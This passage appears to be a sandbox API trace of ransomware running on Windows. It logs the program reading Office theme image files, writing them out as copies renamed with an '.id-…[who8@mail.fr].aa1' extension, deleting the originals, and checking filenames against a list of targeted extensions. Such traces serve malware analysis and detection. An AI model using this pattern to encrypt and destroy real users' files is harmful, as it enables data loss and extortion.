files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0223.472] GetLastError () returned 0x0 [0223.472] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x53b, lpOverlapped=0x0) returned 1 [0223.501] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x540, lpOverlapped=0x0) returned 1 [0223.502] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.502] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.502] SetEndOfFile (hFile=0x22c) returned 1 [0223.503] CloseHandle (hObject=0x22c) returned 1 [0223.503] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.503] SetEndOfFile (hFile=0x1fc) returned 1 [0223.504] CloseHandle (hObject=0x1fc) returned 1 [0223.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.504] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0223.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.504] lstrlenW (lpString=".doc") returned 4 [0223.505] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.505] lstrlenW (lpString=".docx") returned 5 [0223.505] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.505] lstrlenW (lpString=".pdf") returned 4 [0223.505] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.505] lstrlenW (lpString=".xls") returned 4 [0223.505] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.505] lstrlenW (lpString=".xlsx") returned 5 [0223.505] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.505] lstrlenW (lpString=".ppt") returned 4 [0223.505] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.505] lstrlenW (lpString=".zip") returned 4 [0223.505] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.505] lstrlenW (lpString=".rar") returned 4 [0223.505] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.505] lstrlenW (lpString=".bz2") returned 4 [0223.505] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.505] lstrlenW (lpString=".7z") returned 3 [0223.505] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.506] lstrlenW (lpString=".dbf") returned 4 [0223.506] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.506] lstrlenW (lpString=".1cd") returned 4 [0223.506] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.506] lstrlenW (lpString=".jpg") returned 4 [0223.506] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.506] lstrlenW (lpString=".doc") returned 4 [0223.506] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.506] lstrlenW (lpString=".docx") returned 5 [0223.506] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.506] lstrlenW (lpString=".pdf") returned 4 [0223.506] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.506] lstrlenW (lpString=".xls") returned 4 [0223.506] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.506] lstrlenW (lpString=".xlsx") returned 5 [0223.506] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.506] lstrlenW (lpString=".ppt") returned 4 [0223.506] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.507] lstrlenW (lpString=".zip") returned 4 [0223.507] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.507] lstrlenW (lpString=".rar") returned 4 [0223.507] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.507] lstrlenW (lpString=".bz2") returned 4 [0223.507] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.507] lstrlenW (lpString=".7z") returned 3 [0223.507] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.507] lstrlenW (lpString=".dbf") returned 4 [0223.507] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.507] lstrlenW (lpString=".1cd") returned 4 [0223.507] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0223.507] lstrlenW (lpString=".jpg") returned 4 [0223.507] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.508] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0223.508] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0223.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.509] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=16738) returned 1 [0223.509] CloseHandle (hObject=0x1fc) returned 1 [0223.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0223.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.510] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.510] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0223.510] GetLastError () returned 0x0 [0223.510] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4162, lpOverlapped=0x0) returned 1 [0223.512] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0223.513] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.514] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.514] SetEndOfFile (hFile=0x22c) returned 1 [0223.514] CloseHandle (hObject=0x22c) returned 1 [0223.514] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.514] SetEndOfFile (hFile=0x1fc) returned 1 [0223.515] CloseHandle (hObject=0x1fc) returned 1 [0223.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.515] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0223.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.516] lstrlenW (lpString=".doc") returned 4 [0223.516] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.516] lstrlenW (lpString=".docx") returned 5 [0223.516] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.516] lstrlenW (lpString=".pdf") returned 4 [0223.516] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.516] lstrlenW (lpString=".xls") returned 4 [0223.516] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.516] lstrlenW (lpString=".xlsx") returned 5 [0223.516] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.516] lstrlenW (lpString=".ppt") returned 4 [0223.516] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.516] lstrlenW (lpString=".zip") returned 4 [0223.516] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.516] lstrlenW (lpString=".rar") returned 4 [0223.516] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.516] lstrlenW (lpString=".bz2") returned 4 [0223.516] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.517] lstrlenW (lpString=".7z") returned 3 [0223.517] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.517] lstrlenW (lpString=".dbf") returned 4 [0223.517] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.517] lstrlenW (lpString=".1cd") returned 4 [0223.517] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.517] lstrlenW (lpString=".jpg") returned 4 [0223.517] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.517] lstrlenW (lpString=".doc") returned 4 [0223.517] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.517] lstrlenW (lpString=".docx") returned 5 [0223.517] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.517] lstrlenW (lpString=".pdf") returned 4 [0223.517] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.517] lstrlenW (lpString=".xls") returned 4 [0223.517] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.517] lstrlenW (lpString=".xlsx") returned 5 [0223.517] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.517] lstrlenW (lpString=".ppt") returned 4 [0223.517] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.517] lstrlenW (lpString=".zip") returned 4 [0223.518] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.518] lstrlenW (lpString=".rar") returned 4 [0223.518] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.518] lstrlenW (lpString=".bz2") returned 4 [0223.518] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.518] lstrlenW (lpString=".7z") returned 3 [0223.518] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.518] lstrlenW (lpString=".dbf") returned 4 [0223.518] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.518] lstrlenW (lpString=".1cd") returned 4 [0223.518] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0223.518] lstrlenW (lpString=".jpg") returned 4 [0223.518] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.518] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0223.518] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0223.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.519] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1439) returned 1 [0223.519] CloseHandle (hObject=0x1fc) returned 1 [0223.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0223.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.519] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.519] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0223.521] GetLastError () returned 0x0 [0223.521] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x59f, lpOverlapped=0x0) returned 1 [0223.718] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0223.720] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.721] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.721] SetEndOfFile (hFile=0x22c) returned 1 [0223.722] CloseHandle (hObject=0x22c) returned 1 [0223.722] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.722] SetEndOfFile (hFile=0x1fc) returned 1 [0223.723] CloseHandle (hObject=0x1fc) returned 1 [0223.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.723] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0223.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.724] lstrlenW (lpString=".doc") returned 4 [0223.724] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.724] lstrlenW (lpString=".docx") returned 5 [0223.724] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.724] lstrlenW (lpString=".pdf") returned 4 [0223.724] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.724] lstrlenW (lpString=".xls") returned 4 [0223.724] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.724] lstrlenW (lpString=".xlsx") returned 5 [0223.724] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.724] lstrlenW (lpString=".ppt") returned 4 [0223.724] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.724] lstrlenW (lpString=".zip") returned 4 [0223.724] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.724] lstrlenW (lpString=".rar") returned 4 [0223.724] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.724] lstrlenW (lpString=".bz2") returned 4 [0223.724] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.724] lstrlenW (lpString=".7z") returned 3 [0223.725] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.725] lstrlenW (lpString=".dbf") returned 4 [0223.725] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.725] lstrlenW (lpString=".1cd") returned 4 [0223.725] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.725] lstrlenW (lpString=".jpg") returned 4 [0223.725] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.725] lstrlenW (lpString=".doc") returned 4 [0223.725] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.725] lstrlenW (lpString=".docx") returned 5 [0223.725] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.725] lstrlenW (lpString=".pdf") returned 4 [0223.725] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.725] lstrlenW (lpString=".xls") returned 4 [0223.725] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.725] lstrlenW (lpString=".xlsx") returned 5 [0223.726] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.726] lstrlenW (lpString=".ppt") returned 4 [0223.726] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.726] lstrlenW (lpString=".zip") returned 4 [0223.726] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.726] lstrlenW (lpString=".rar") returned 4 [0223.726] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.726] lstrlenW (lpString=".bz2") returned 4 [0223.726] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.726] lstrlenW (lpString=".7z") returned 3 [0223.726] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.726] lstrlenW (lpString=".dbf") returned 4 [0223.726] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.726] lstrlenW (lpString=".1cd") returned 4 [0223.726] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0223.726] lstrlenW (lpString=".jpg") returned 4 [0223.726] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.726] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0223.726] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0223.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.727] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=37112) returned 1 [0223.727] CloseHandle (hObject=0x1fc) returned 1 [0223.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0223.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.727] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, 